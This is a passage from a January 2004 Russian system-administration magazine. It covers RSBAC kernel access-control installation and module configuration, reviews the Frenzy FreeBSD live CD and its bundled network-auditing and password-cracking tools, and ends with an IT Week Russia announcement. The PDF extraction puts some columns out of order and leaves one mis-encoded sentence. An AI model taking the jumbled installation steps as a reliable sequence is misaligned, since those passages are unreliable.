администрирование тью предложенной системы была блочная структура, при которой каждый модуль реализует свою собственную модель защиты, что позволяет более гибко их использовать, отключая или включая нужный, и использовать одновременно несколько разных моделей защиты без конфликтов и противоречий между ними. Согласно подходу GFAC, предполагается разделение на три основных функциональных блока: AEF (Access Enforcement Facility) модуль, транслирующий системные вызовы в запросы на доступ, ADF (Access Decision Facility) осуществляет принятие решения и возвращает ответ (или ошибку), который при помощи модуля ACI (Access Control Information) транслируется в системный вызов. Также и в RSBAC система управления доступа ядром разделена на AEF- и ADF-компоненты и модуль ACI, все компоненты при этом жестко связаны в ядре. Сам ADF может состоять из нескольких модулей политик защиты, каждый из которых может подключаться/ отключаться динамически, по мере необходимости обеспечивая требуемые задачи и гибкость в конфигурировании. В текущей версии 1.2.2 в комплекте имеется 12 модулей, реализующих восемь политик: MAC – Mandatory Access Control, разработанная в 1973 году модель Bell La Padula. В системе выделяется множество объектов и множество субьектов, субъекты пытаются получить доступ к объектам, а система позволяет или не позволяет им это. Ее рекомендуется использовать, когда вы нуждаетесь в концептуально доказанной моде-

ли для осуществления конфиденциальности, но ее весьма трудно использовать в типичной Unix-среде, так как придется описывать большое количество правил для каждого пользователя и программы. Возможен упрощенный вариант RSBAC MAC-Light. FC – Functional Control. Простая роль-основанная модель, которая может использоваться, чтобы ограничить доступ к информации о безопасности. При этом каждому пользователю назначается определенная роль (офицер безопасности, системный администратор, обычный пользователь), а каждому объекту в свою очередь назначается категория (системный, секретный объект). Офицер безопасности определяет, какой роли можно обращаться к какой категории. Сейчас полностью вытеснена RC-моделью, параметры по умолчанию которой очень похожи на FC. SIM – Security Information Modification. Эта ролевая модель контролирует доступ к данным типа защитная информация. Доступ на запись к этим объектам могут получить только пользователи с ролью офицера безопасности. Сейчас полностью может быть заменена RCмоделью. PM – Privacy Model. Модель секретности Симон Фишер-Хубнера. Контролируемые данные могут быть защищены, только если они будут объявлены как персональные данные, поэтому может быть использована для хранения и обработки персональных данных, для системных данных должна использоваться другая модель.

администрирование MS – Malware Scan. Это не совсем модель контроля доступа, MS представляет собой средство предотвращения заражения инфицированным кодом. Сейчас по причине малого количества вирусов представляет собой демонстрационную модель. FF – File Flags. Модель определяет некоторые флаги доступа к файлам, которые может изменять лишь пользователь с system_role «security officer». Это execute_only (files), read_only (files и dirs), search_only (dirs), secure_delete (files), no_execute (files), add_inherited (files и dirs), no_rename_or_delete (files и dirs, no inheritance) и append_only (files и dirs). RC – Role Compatibility. Роль-основанная модель, при которой каждый пользователь имеет заданную по умолчанию роль, которая наследуется всеми его процессами. На основании текущей роли доступ к объектам некоторых типов будет предоставлен или отклонен. Роль может быть изменена со сменой владельца процесса, процессом через системный вызов (только «совместимые» роли) или выполнением специально отмеченной выполнимой программы (использованием initial_role или force_role). AUTH – Authorization Enforcement. Можно рассматривать как модуль поддержки, который контролирует вызов смены владельцев для процессов (CHANGE_OWNER) и разрешает смену процессам только с разрешенными uid и если при этом процесс имеет установленный флаг auth_may_setuid. ACL – Access Control Lists. Списки контроля доступа, определяющие, какой субъект (пользователь, роль RC или группа ACL) может иметь доступ к какому объекту и с каким запросом (обычные запросы RSBAC или специальные ACL). САР – Linux Capabilities. Для всех пользователей и программ можно определять минимальный и максимальный набор возможностей Linux («возможность установки специального права root»). При этом параметры настройки программы отменяют параметры настройки пользователя, и минимальные настройки отменяют максимальные параметры настроек. Это позволяет выполнять программы сервера от имени обычного пользователя или ограничивать права программ с установленным suid. Это единственный модуль RSBAC, который непосредственно сталкивается с существующим управлением доступа Linux. JAIL – Process Jails. Этот модуль добавляет новый системный вызов rsbac_jail, который делает запрос chroot и добавляет дальнейшие ограничения на процесс запроса и все подпроцессы. Все jail-процессы можно найти в /proc/rsbac-info/jails (при включенном RSBAC proc support). RES – Linux Resources. Для всех пользователей и программ определяется минимальный и максимальный Linux-набор ресурсов процессов (например, размер памяти, число открытых файлов, число процессов пользователя). Кроме встроенных моделей, имеется модуль REG (Module Registration), обеспечивающий интерфейс для регистрации вашего собственного модуля решения, кото-

№1(14), январь 2004

рый может быть, но необязательно, реализован как модуль ядра Linux. Он допускает регистрацию для всех уместных запросов к коду решения так же, как для запросов обслуживания к выполнению структуры данных. Примеры модуля ядра можно найти в rsbac/adf/reg/adf_sample*.c. Разработчики уверяют, что RSBAC был проверен с многими параметрами конфигурации ядра и другими патчами, хотя стопроцентной гарантии не дают, но поддерживаются такие патчи, направленные на повышение защиты, как FreeS/WAN, OpenWall и GRSecurity. Из приложений поддерживаются практически все, направленные на серверные решения (samba, bind, qmail, postfix), VNC, (Open)SSH и даже X-Window (для поддержки последней необходимо включить опцию X support), что позволяет использовать данную систему на клиентских компьютерах. Независимость реализации от конкректной файловой системы означает нормальную работу в любой из поддерживаемых Linux: minix, ext2/3fs, ReiserFS (без проверки номера inode и secure_delete), xfs и vfat (хотя использовать последнюю и первую по крайней мере несерьезно). Из дополнительных возможностей следует отметить поддержку SMP (что позволяет использовать на мощных серверах), loopback mounts (для шифрования).

Установка Для работы нам понадобятся: дополнительные расширения к ядру: rsbac-*.tar.gz; патч к ядру: patch-*.gz; утилиты администрирования: rsbac-admin-*.tar.gz. А также само ядро с ftp.kernel.org, хотя можно обойтись и без самостоятельного наложения патча, а взять уже готовое ядро с ftp://rsbac.cz/mirrors/rsbac.org/kernels/. Из уже подготовленных ядер имеются версии ветки 2.2, 2.4 и современные 2.6-test, так что выбирать тоже есть из чего. Мы же будем рассматривать все с самого начала, хотя здесь нет чего-то особенного. Единственное, на что необходимо обратить внимание, – соответствие версий патча версии ядра и версий расширения к ядру и утилиты администрирования, т.е. в обозначении, например, такого патча patch-2.4.22-v1.2.2.gz, первые цифры 2.4.22 означают ядро, а 1.2.2 – версию расширений. Распаковываем архив с ядром. #

tar xvjf linux-2.4.22.tar.bz2

Переходим в образовавшийся каталог. # cd linux

Распаковываем остальные архивы и накладываем на ядро патч. #

tar xvjf ../rsbac-v1.2.2.tar.bz2

Примечание: в старых версиях утилиты (до 1.0.9a) можно найти патчи также и внутри этого архива. #

gzip -dc ../patch-2.4.22-v1.2.2.gz | patch -p1

администрирование Это обязательная программа, т.к. при работе пользователи часто сталкиваются с ошибками, все исправления которых представлены в bugfixes. Поэтому имеет смысл ознакомиться с ними и пропатчить ядро для их устранения. # wget -c http://www.rsbac.org/bugfixes/rsbac-bugfix-v1.2.1-1.diff # patch -p1 < rsbac-bugfix-v1.2.1-1.diff

максимально возможная потеря производительности составляет меньше 10 процентов. Например, я использую модули auth, MAC, RC и ACL. Хотя в некоторых случаях бывает достаточно PM или FF. Для каждого обязательно включите параметр «имя_модуля protection for AUTH module», остальные, как правило, можно и не трогать. Чтобы получить новое расширение -rsbac вводим:

И теперь конфигурируем ядро: # touch Makefile # make menuconfig

И компилируем ядро: При этом в меню появляется еще один пункт, названный «Rule Set Based Access Control», активировав который, можно получить компьютер, защищенный по классу В1. Большинство опций документированы, остановлюсь лишь на интересных. Для изучения незаменимой является опция RSBAC soft mode, позволяющая отключать режим управления доступом при загрузке, передавая параметр ядру rsbac_softmode (просмотреть текущий режим можно, прочитав /proc/rsbac-info/ {stats|debug}). При серьезных проблемах, когда нельзя добраться до системы вообще, может понадобиться ядро с включенным параметром «RSBAC maintenance kernel» (CONFIG_RSBAC_MAINT), в котором отключаются все RSBAC-модули (чтобы избежать проблем при обслуживании, лучше отключить поддержку сети в таком ядре). При включенной опции «RSBAC proc support» в каталоге /proc появляется подкаталог rsbac-info, содержащий статистику по работе RSBAC (подробнее в README-proc) и позволяющий читать и записывать параметры некоторых настроек, но после проведения экспериментов все же лучше данный параметр отключить, зачем давать нападающему лишнюю информацию об используемой защите. Опция Inherit as default (CONFIG_RSBAC_DEF_INHERIT) позволяет автоматически наследовать файлам и каталогам дополнительные параметры вроде security_level, data_type. Опция Support secure delete (CONFIG_RSBAC_SECDEL) позволит удалять файлы безвозвратно, в настоящее время безопасное удаление поддерживают только модули FF (файлы, помеченные как ff_flag secure_delete) и PM (для файлов, помеченных как personal data), при этом оставшееся место заполняется нулями, поддерживаются файловые системы ext2, minix, msdos и vfat, включение данной опции несколько замедляет работу файловой системы. RSBAC extra statistics (CONFIG_RSBAC_XSTATS) появляется дополнительная статистическая информация, которую можно прочесть в /proc/rsbac-info/xstats. Log full path позволит заносить полное имя файла в журнал, иначе в нем будет прописано только имя файла, доступ к которому протоколируется. Для работы необязательно включать все модули, оставьте те, которые вам действительно нужны, остальные не трогайте, так как использование RSBAC, естественно, влияет на производительность системы, и чем больше будет проверок, тем больше это будет сказываться на общей производительности. По результатам тестов, которые можно посмотреть на http://www.rsbac.org/benchmark.htm,

#make dep bzImage modules modules_install

Копируем получившееся ядро в /boot и конфигурируем загрузчик. До версии 1.0.9b перед загрузкой с новым ядром необходимо было обязательно установить утилиты администрирования rsbac-admin, при этом создавался каталог /rsbac для каждой примонтированной файловой системы со специальным файлом useraci. Сейчас данный каталог автоматически создается ядром, а при отсутствии файла useraci используются настройки по умолчанию. Но почему бы не установить утилиты сейчас. Для этого распаковываем их в любой каталог. # tar xvzf rsbac-admin-v1.2.2.tar.gz. # cd rsbac-admin-v1.2.2 # ./configure (åñëè èñïîëüçóåòñÿ ÿäðî, íàõîäÿùååñÿ â êàòàëîãå, îòëè÷íîì îò /usr/src/linux, åãî ìåñòîíàõîæäåíèå óêàçûâàåì ïðè ïîìîùè –with-kerneldir) # make && make install

Примечание: для работы очень желательна утилита dialog не ниже версии 0.9, ее взять можно тут же на http://www.rsbac.org/dialog/dialog-0.9b-20020814.tar.gz. И теперь нужно создать две дополнительные учетные записи. Первая – офицер безопасности – secoff (security officer/RC role admin/ACL Supervisor), и в файле /etc/passwd установить его uid равным 400. И если вы будете использовать модуль privacy module (PM), то и офицер защиты информации – dataprot (data protection officer) с uid 401. Которые теперь понадобятся для администрирования – root уже не будет достаточно. При необходимоcти изменить заданные по умолчанию числа uid, это можно сделать в макросах RSBAC_SECOFF_UID и RSBAC_DATAPROT_UID в include/rsbac/types.h. Или при конфигурировании ядра в соответствующих опциях.

администрирование Все теперь готово для первой загрузки, при которой система выдаст большое количество сообщений о невозможности запуска тех или иных сервисов. Интересно, что теперь в систему может попасть пока только root, и все потому, что программа входа в систему /bin/login имеет недостаточные права изменить владельца процесса (setuid). Но root в данном случае уже абсолютно бесполезен, он может по-прежнему запускать сервисы, монтировать диски, т.е. заниматься непосредственно администрированием системы, а вот изменить доступ к программам уже не может. Все это теперь возложено на плечи совсем другого пользователя – secoff. Причем сменить root на этого пользователя тоже не удастся. bash-2.05b# su secoff setuid: Operation not permitted

Для того чтобы разрешить смену uid, загружаемся с параметром rsbac_auth_enable_login (все остальные параметры описаны в файле README-kernparam). Устанавливать параметры файлов можно при помощи команд (вызванные без параметров, они выдают справку) или, что более наглядно, при помощи меню. Первоначально меню можно сконфигурировать, используя rsbac_settings_menu. Теперь устанавливаем параметры файла /bin/login и незапустившихся демонов, для этого используем команду rsbac_fd_menu имя_программы или rsbac_menu и далее выбираем нужный файл. Обратите внимание, сколько появилось дополнительных параметров у файлов, но работают только те, которые соответствуют запущенным модулям. За сменой uid, как вы помните, следит модуль auth, для того чтобы этот модуль «не замечал» смену uid процессом на любой, у него должен быть установлен параметр auth_may_setuid, установку которого и надо проконтролировать для /bin/login, после чего уже можно загружаться и входить в систему в обычном режиме. Для демонов же лучшим вариантом будет жестко зафиксировать uid, на которые может переходить процесс, запущенный от его имени. Для этой цели воспользуемся параметром auth_capabilities, который позволяет задать список (или диапазон) допустимых uid, на которые может переходить программа. А узнать, какой uid требуется каким процессам, очень просто, открываем под root системные логи (secoff туда не пускают) и ищем подобные сообщения:

Oct 31 22:58:13 stas kernel: rsbac_adf_request(): request CHANGE_OWNER, caller_pid 89, caller_prog_name sendmail, caller_uid 0, target-type PROCESS, tid 89, attr owner, value 15, result NOT_GRANTED by AUTH

В которых говорится, что процесс с именем sendmail безуспешно пытался сменить (CHANGE_OWNER) свой текущий uid с 0 на value 15 и получил от ворот поворот от AUTH. Теперь осталось добавить uid 15 в список auth_capabilities для программы sendmail, после чего проблем с его запуском уже не будет. Теперь для полноценной работы давайте познакомимся с возможностями некоторых модулей поподробнее.

Модуль FF Нравится мне своей простотой и возможностями одновременно. Его удобно использовать, когда необходимо просто добавить некоторые дополнительные флаги для файлов, каталогов и каналов FIFO, глобально для всех пользователей, не сильно утруждая себя работой с более сложными моделями. При включении данного модуля появляется возможность установить еще деcять дополнительных параметров: execute_only – (для FILE, FIFO, SYMLINK) возможно только исполнение; search_only – (DIR) обеспечивается полное закрытие каталога от проникновения; read_only – (FILE, FIFO, SYMLINK, DIR) возможно только чтение; write_only – (FILE, FIFO, SYMLINK) возможна только запись (но не чтение), применив данный флаг к каталогу /var/log, в котором находятся файлы журналов, при наследовании (см. ниже) мы не сможем их прочесть; secure_delete – (FILE) безопасное урезание и удаление, при котором освобожденное место заполняется нулями (только для ext2, ext3, msdos/vfat, minix); no_execute – (FILE) возможно что угодно, только не выполнение, назначив этот флаг на пользовательский каталог /home, мы лишим их возможности запуска своих программ; no_delete_or_rename – (FILE, FIFO, SYMLINK, DIR) нельзя удалять или переименовывать отмеченные таким образом файлы и каталоги; append_only – (FILE, FIFO, SYMLINK) доступ на запись ограничен только APPEND_OPEN и WRITE, на чтение доступ разрешен, установив данный флаг на каталог с файлами журналов, вы сможете дописывать в них информацию и читать; add_inherited – (FILE, FIFO, SYMLINK, DIR) если установлен, то к собственным флагам объекта будут добавлены и флаги родительского каталога, при этом он включен по умолчанию для всех, кроме флагов no_delete_or_rename и add_inherited, которые всегда должны быть установлены явно; no_mount – запрещает монтировать устройство. Эти флажки проверяются при каждом доступе к данным целевым типам, и только пользователи в system_role «security officer» могут изменять флажки. Ат-

№1(14), январь 2004

администрирование READ – чтение; READ_ATTRIBUTE – чтение атрибутов RSBAC; READ_WRITE_OPEN – открыть для чтения и записи; READ_OPEN – открыть для чтения; RENAME – переименование; SEARCH – поиск; TRUNCATE – усечение файла; UMOUNT – размонтирование файловой системы; WRITE – разрешена запись; WRITE_OPEN – разрешено открытие файла для записи; MAP_EXEC – выполнение.

рибуты независимы друг от друга и разграничены, т.е. все атрибуты, которые установлены, будут применены, например, execute_only и no_execute вместе (или read_only и write_only) не ведут ни к какому доступу. Или, установив на каталоге флаги search_only и execute_only, вы можете производить поиск файлов (не чтение) в каталоге и запускать файлы на выполнение, и больше ничего. Имеет смысл установить для каталогов /sbin, /bin, /usr/sbin, /usr/bin и других, содержащих исполняемые файлы, флаги search_only и read_only, позволим тем самым обращаться к файлам, зная полный путь и запретив изменять находящиеся внутри файлы, или, имея только двоичные файлы, установить для них флаг execute_only, позволив лишь только запуск на исполнение и ничего более и защитив их от подделки. По-моему, по сравнению со стандартной моделью у сисадминов появилось больше возможности контролировать доступ. Но, например, если необходимо контролировать доступ с точностью до миллиметра, этого будет явно недостаточно, в этом случае в самый раз придется следующий модуль.

Модуль ACL Заходим в пункт меню «ACL Menu: Go to ACL menu», где переходим к «Change Mask». А теперь для каждого файла можно выбрать еще 25 параметров, причем можно отдельным пунктом включить сразу все относящиеся к security или системным параметрам: APPEND_OPEN – открывать для добавления; CHANGE_OWNER – сменить владельца; CHDIR – сменить рабочий каталог; CLOSE – запрос на закрытие; CREATE – запрос на создание; DELETE – запрос на удаление; EXECUTE – запрос на запуск; GET_PERMISIONS_DATA – прочитать права Unix (mode); GET_STATUS_DATA – получить информацию о файле (stat() и пр.); LINK_HARD – создать жесткую ссылку; MODIFY_ACCESS_DATA – изменить информацию о времени доступа; время, дата (utimes ()); MODIFY_ATTRIBUTE – изменить атрибуты RSBAC; MODIFY_PERMISSIONS_DATA – изменить права UNIX; MOUNT – монтирование файловой системы;

Это для обычных файлов и каталогов, для процессов и сетевых устройств есть и специфические параметры: ADD_TO_KERNEL – добавлять модуль в ядро; ALTER – изменить контрольную информацию для IPC; CHANGE_GROUP – сменить группу; CLONE – клонировать процесс (fork/clone); REMOVE_FROM_KERNEL – удалить модуль из ядра ; MODIFY_SYSTEM_DATA – изменить системные данные; SEND_SIGNAL – послать сигнал; SHUTDOWN – остановка или перезагрузка системы; SWITCH_LOG – изменять параметры протоколирования RSBAC; SWITCH_MODULE – включать и выключать модули; TERMINATE – запрос на окончание процесса (exit()); TRACE – трассировка процесса (ptrace()); BIND – связать сетевой адрес и порт с локальным сокетом или сетевым устройством;

администрирование LISTEN – слушать локальный сокет listen(); ACCEPT – прием подключения от сети accept(); CONNECT – соединение с удаленной сетью connect(); SEND – посылка сообщения удаленной сети send(); RECEIVE – получение сообщения от удаленной сети recv();

NET_SHUTDOWN – остановка локального socket. Теперь, выбрав какой-нибудь каталог, устанавливаем на него необходимые атрибуты. Эти атрибуты будут действовать на всех пользователей. А для того чтобы предоставить исключительные права на созданный каталог или файл отдельному пользователю или группе пользователей, выбираем пункт «Add ACL Entry:Add group, role or user entry», где выбираем пользователя из списка (или создаем отдельную ACL group), и для него появляется свой список атрибутов для данного объекта. Таким образом можно установить параметры с любой точностью.

№1(14), январь 2004

Остальные модули разбирать, пожалуй, сейчас не будем. Но из всего рассказанного должно быть понятно, что технология RSBAC позволяет избавиться от традиционных недостатков Unix-систем, тем самым существенно поднять уровень защиты и задавать индивидуальные параметры для каждого пользователя и объекта доступа. На данный момент технология RSBAC применяется в четырех дистрибутивах: ALTLinux Castle (http:// castle.altlinux.ru/), Kaladix (http://www.kaladix.org/), Trusted Debian (http://www.trusteddebian.org/) и базирующийся на Debian LiveCD, который можно найти на сайте (http:// livecd.rsbac.org/). Последний позволяет познакомиться с данной технологией, не устанавливая все на жесткий диск. Кроме множества документации, имеющейся на www.rsbac.org, по-русски можно прочитать в статье одного из разработчиков RSBAC Станислава Иевлева «RSBAC для начинающих» (http://linux.ru.net/~inger/ RSBAC-DOC.html).

администрирование

БЕЗУМНЫЙ ЧЕРТЕНОК

О Frenzy (пер. с англ. – безумие) я узнал из новостей портала www.opennet.ru (http://www.opennet.ru/openforum/vsluhforumID3/2341.html). Этот проект меня заинтересовал. Так что же это такое?

АЛЕКСАНДР БАЙРАК 58

администрирование Процитирую разработчика: «Целью проекта Frenzy является создание «портативного инструмента системного администратора» на базе ОС FreeBSD (FreeBSD 4.8-STABLE – прим. авт.), который было бы удобно постоянно иметь при себе. Frenzy представляет собой загрузочный mini-CD (размер 3.5", объем 185 Мб), загрузившись с которого, администратор получает полностью работоспособную систему с набором программного обеспечения для настройки, проверки и анализа сети, тестирования компьютерного «железа» и ряда других задач». Как тут не заинтересоваться? Системные требования более чем обрадовали: для нормальной работы нужен компьютер на базе Pentium I и выше, 64 Мб ram (в новой верcии планируется обеспечить работу и на 32 Мб) CD-ROM, даже HDD не требуется. Полный решимости немедленно проверить, так ли это на самом деле, я решил ее списать непосредственно с сайта разработчика (http://frenzy.icc.melitopol.net), но тут меня ждал сюрприз: вожделенный дистрибутив списать было нельзя, потому как у разработчика просто не было места в сети, где бы можно было разместить iso-образ диска. Я немного расстроился, но все же поместил ссылку на этот сайт в свои bookmarks и как-то позабыл о его существовании. Через месяц я снова посетил этот сайт и с интересом узнал, что сей продукт наконец-то можно списать. Сказано – сделано: frenzy_v01b10.iso.bz2 размером немногим больше 65 Мб лежит у меня на HDD. Далее я распаковал архив и записал имеющийся в нем iso-образ на диск.

Загрузка Загружаемся, в качестве login используем root, пароль не требуется. Приятно, что при загрузке система нашла и смонтировала ufs-разделы, которые имели место быть на моем HDD, также был смонтирован линуксовый ext2 и виндовый fat32 (тут особенно приятно, что названия немногочисленных файлов с кириллическими именами отображались правильно, не в виде знаков вопроса), все файловые системы были смонтированы в режиме read only. А как же быть, если на эти разделы нужно что-нибудь записать? Очень просто, сначала размонтировать требуемый раздел, а потом смонтировать его снова. Система по непонятной для меня причине решила также примонтировать дискету, но, естественно, за неимением последней в дисководе ничего у нее не вышло. Зачем производились такие манипуляции, я узнал позже. Раздел с Solaris, надо сказать, замечен и, как следствие, смонтирован не был. Стартовал ipfw со следующими правилами:

№1(14), январь 2004

00100 00200 00300 65000

allow ip from any to any via lo0 deny ip from any to 127.0.0.0/8 deny ip from 127.0.0.0/8 to any allow ip from any to any

Сначала меня несколько смутило такое положение вещей, потому как я придерживаюсь принципа – «сначала все закрыть, а потом открыть то, что нужно для работы», но, с другой стороны, в Frenzy по умолчанию не запускается ни одного сетевого сервиса, отсюда следует, что в основном все соединения будут исходящие. В случае если firewall закрывал все по умолчанию, сразу после загрузки пришлось бы лезть править настройки, чтоб, например, протестировать сеть или что-либо списать. При загрузке системы в памяти создаются memory-диски для размещения разделов /dev (4 Мб), /etc (1 Мб), /var (16 Мб), /mnt (256 Мб), /root (8 Мб). Система не перестает радовать, оказывается, она автоматически распознала и использовала swap моей основной системы FreeBSD для собственного применения (в ином случае swap-раздел можно сделать с помощью скрипта makeswap.

Работа в системе Ядро системы скомпилировано с поддержкой основных типов HDD, распространенных сетевых карт, некоторых USB-устройств. Первым делом я решил настроить сеть. Настройка локальной сети осуществляется с помощью скрипта lan-config, для настройки PPP используется pppconfig. Настройка сети не вызывает каких-либо затруднений. Система поставляется с полным «джентльменским» набором софта. Что же есть в системе и уже доступно для использования? Для удобства описания весь софт разделен мной на группы. Командные интерпретаторы: sh, csh, tcsh (а вот моего любимого bash нет). Работа с файлами: Demos Commander 3.8.1e; Midnight Commander 4.6.0; X Northern Capitan 5.0.2. В эту группу также отнесем: mtools 3.9.8 + MtoolsFM 1.9.3 – эти утилиты служат для работы с дискетами с FAT12 без монтирования. Архиваторы: cabextract 0.6; rar 3.2; unace 1.2; unarj 2.43; unlzx 1.0; unzip 5.50; zip 2.3. Текстовые редакторы: Gnotepad+ 1.3.3; Joe 2.8. Браузеры: Opera 6.12; Lynx 2.8.4.1; Links 0.98; Почта и новости: Sylpheed-claws 0.8.10, mutt 1.4.1i. ICQ: CenterICQ 4.9.4; Licq 1.2.6. IRC: XChat 1.8.10 (интересно, почему нет BitchX?). FTP: IglooFTP 0.6.1. Downloader: wget 1.8.2. Тесты, мониторинг системы: bytebench 3.1; cpuburn 1.4; crashme 2.4; memtest 2.93.1; ree 1.3; pciutils 2.1.11; gkrellm 1.2.13; xosview 1.8.0; lmmon 0.65. Восстановление данных: fatback 1.3; ffsrecov 0.5; gpart 0.1h; testdisk 4.4. Сетевые утилиты: LinNeighborhood; rdesktop 1.2.0; tightvnc 1.2.8; arping 1.07, datapipe 1.0, dhcpdump 1.5, dhcping 1.2, dlint 1.4.0, dnrd 2.10, dnstracer 1.7, echoping 5.0.1, ettercap 0.6.7, fping 2.4b2, echolot 0.1, smbproxy 1.0, icmpinfo 1.11, icmpquery 1.0.3, ipcalc 0.35, lft 2.0, nat 2.0, nbtscan 1.0.2, p0f 1.8.2, queso 980922, sniffit 0.3.7b, trafshow 3.1.

администрирование Безопасность: nessus 2.0.4; nmap 3.28 + nmapFE; ethereal

0.9.10; drweb 4.29.2; chkrootkit 0.41; amap 1.2.1, arirang 1.6, firewalk 1.0, fragrouter 1.6, ddos_scan 1.6, dsniff 2.3, hping 2.0, lxnb 0.4, proxytunnel 1.0.6, radusniff 0.2, sniff 1.0, snort 2.0.0, snort-rep 1.10, strobe 1.06, subweb 1.0, whisker 1.4 apg 2.1.0, cmospwd 4.3, john 1.6.33, l0phtcrack 1.5, pwl9x 0.0.7. Графическая оболочка: XFree86 4.2.0 с TTF-шрифтами. Оконный менеджер: icewm 1.2.0. Переключатель клавиатуры: xxkb 1.10. Х-терминал rxvt 2.6.4. Мультимедиа: GQview 1.1.1; xmixer 0.9.4; mp3blaster 3.1.3; mikmod 3.1.6; XMMS 1.2.7; mpg123; gtkballs.

Впечатляет? И все это на маленьком mini-CD диске. Что еще нужно админу для счастья? Все есть: мониторинг и тест железа, и сеть есть чем протестировать, для работы в Интернете все есть, даже для Xfree86 и оконного менеджера нашлось место. MP3, и то послушать можно. Также ко всему этому имеются архиполезные manстраницы. Нельзя не заметить, что в системе присутствует Perl. Связка XFree86 + icewm стартует без каких-либо проблем, даже без предварительной настройки, аскетичный icewm показался мне очень симпатичным. Просидел я с этой системой часа 2, настроил все под себя, поправил некоторые файлы конфигурации. Глупо, скажете вы, ведь после перезагрузки придется все вновь настраивать… ан нет, есть скрипт backup, остается только найти чистую дискету с FAT12 (для тех, кто не знает: FAT12 – стандартная для дискет, отформатированных в Windows, файловая система). Скрипт архивирует и сохраняет следующие директории: /etc; /root; /etc/local/etc. А вот почему не сохраняется /var, осталось для меня загадкой. Помните, я упомянул о том, что система при загрузке автоматически пытается смонтировать дискету, так вот и разгадка: система пытается восстановить настройки, если таковые были сохранены. С восстановлением настроек после перезагрузки каких-либо затруднений не зафиксировано. Нашлось и несколько негативных моментов в этой системе. После восстановления настроек система не видела сеть, оказывается, хоть настройки сети и хранятся в /etc/ rc.conf, который сохраняет скрипт, но данные из него читаются до восстановления настроек. А посему сеть пришлось настроить снова, благо это нетрудно.

Второй момент, я не смог смонтировать NFS, mount_nfs просто отсутствует в системе. Дальше больше, на одной из моих машин установлена FreeBSD 5.1, и, соответственно, все файловые системы ufs2, а FreeBSD 4.8, на которой основан этот дистрибутив, их не поддерживает. В этот же день дал эту систему на пробу одному знакомому, и вместе с ней дал дискетку с сохраненными настройками, знакомый пришел через полчаса ругаясь – «XFree86 не стартует!». Странное дело, подумал я, пошел разбираться. Запускаю систему с использованием сохраненных на дискете настроек – XFree86 «ругается» и не стартует, запускаю без нее – все нормально. Оказывается, на дискету записывается и XF86Config, который я сконфигурировал непосредственно для своего железа. Проблема решилась просто – имеющийся XF86Config я просто удалил, и запустил /frenzy/scripts/x11-detect/1.cardDetect.sh, после чего XFree86 запустился без каких-либо проблем. Но даже эти моменты не могли испортить хорошего впечатления о системе. Если вы не нашли чего-либо, что необходимо вам для работы, вы можете попробовать своими силами собрать подобный дистрибутив, воспользовавшись скриптами и патчами, которые разработчик любезно собрал воедино и выложил на http://another-level.icc.melitopol.net/ frenzy/frenzy01.tbz. Надо заметить, что вышеуказанные скрипты не являются полностью автоматизированными, так что все придется подправлять руками. Завершаю свой небольшой обзор этого замечательного дистрибутива. Я нашел для себя новый и очень удобный инструмент для выполнения своих каждодневных обязанностей, который стал для меня незаменимым помощником и всегда со мной. Этот дистрибутив можно посоветовать всем людям, которые хотели бы познакомиться с миром UNIX-систем, и с FreeBSD в частности. А в том, что этот дистрибутив окажется полезным как системным, так и сетевым администраторам, я не сомневаюсь. Судя по тому, как динамично развивается этот проект, с уверенностью можно сказать, что все мы получили уже знакомый нам продукт (это я о FreeBSD) в новом обличье, который готов служить нам верой и правдой сразу после загрузки. Примечание: На данный момент уже вышла версия Frenzy 0.2, в которой исправлены многие недоработки и обновлен набор программного обеспечения. Сайт проекта переехал на http://frenzy.org.ua/.

УНИКАЛЬНЫЕ СОБЫТИЯ НА КОМПЬЮТЕРНОМ РЫНКЕ Впервые организованная в 1989 году, выставка Неделя Информационных Технологий «IT Week Russia», известная в прошлом как Comtek, за пятнадцать лет своего существования пережила и взлеты и падения. В предыдущие годы в Неделю Информационных Технологий входила выставка Сomtek, которая состояла из нескольких направлений, и конференция E-Business. Развитие выставки в течение последних лет привело к необходимости выделить отдельные разделы в самостоятельные выставки. С этого года в Неделю Информационных Технологий будут входить пять самостоятельных выставок и две конференции. Этот шаг позволил расширить масштаб выставки, объединяющей все аспекты компьютерного бизнеса, что, в свою очередь, дает возможность привлечь к участию в выставке большее число компаний, занятых во всех сферах индустрии информационных технологий. Давид Патеишвили, директор выставки, сказал: «В этом году мы расширили темы, представленные на экспозиции, которые теперь охватывают все области компьютерной индустрии. Это дает превосходную возможность и участникам, и посетителям выставки принять участие и ознакомиться сразу с пятью выставками и двумя конференциями, проходящими в одно время и в одном месте. Это также позволит нам улучшить маркетинговую и рекламную кампании для каждой из выставок и конференций, проходящих в рамках Недели Информационных Технологий, с учетом целевой аудитории, специфичной для каждой из них. Хочется добавить, что некоторые выставки, которые будут проходить в рамках Недели Информационных технологий, не имеют аналогов в России, являясь тем самым уникальными». В рамках Недели Информационных Технологий пройдут следующие выставки и конференции: 1. Personal Computing Expo – общая, неспециализированная выставка, ориентированная на конечных пользователей. В ней представлены производители и дистрибьюторы персональных компьютеров и периферии, компьютерных игр, дистрибьюторы сотовой техники и портативных компьютеров, интернет- и контентпровайдеры и многие другие. 2. Hardware & Peripherals Expo – специализированная выставка, на которой представлены: компьютеры, мониторы, периферийные устройства, комплектующие, накопители, коммуникационное оборудование и услуги, т.е. весь спектр hardware, ориентированного на ведение бизнеса. 3. Международная конференция eLearning Russia (Информационные технологии в образовании), на которой будут освещены последние достижения образовательных технологий в школах, вузах, а также рассмотрены вопросы дистанционного и бизнес-образования.

№1(14), январь 2004

4. Software Expo – специализированная выставка, ориентированная на программные продукты для систем бухгалтерского и складского учета, комплексного ПО управления предприятием, систем управления документооборотом, систем распознавания документов, разработку ПО, защиту информации. В рамках этой выставки будет подготовлен цикл тематических семинаров, посвященных актуальным вопросам в области разработки экономических программ и систем управления бизнесом. 5. Специализированная выставка CAD/CAM/CAE представляет системы автоматизированного проектирования. Для большинства российских производителей необходимость использования САПР для оптимизации работы предприятия стала очевидной. Особенно ярко это проявляется в таких отраслях, как авиастроение, автомобилестроение, тяжелое машиностроение, архитектура, строительство, нефтегазовая промышленность. 6. eLearn Expo – специализированная выставка, на которой будут демонстрироваться новейшие продукты и технологии в сфере электронного обучения, предназначенные для коллективного и индивидуального пользования. Дистанционное обучение через сети Internet и Intranet, получившее широкое распространение в развитых странах, становится все более актуальным и для России. 7. eBusiness Russia (Электронный бизнес в России) – международная конференция, посвященная вопросам автоматизации бизнес-процессов, развития электронной коммерции, подбора ИТ-персонала. Выставка IT-week остается ведущей международной выставкой информационных технологий в России и странах СНГ. Это уникальное место для проведения переговоров с первыми лицами сразу нескольких крупных 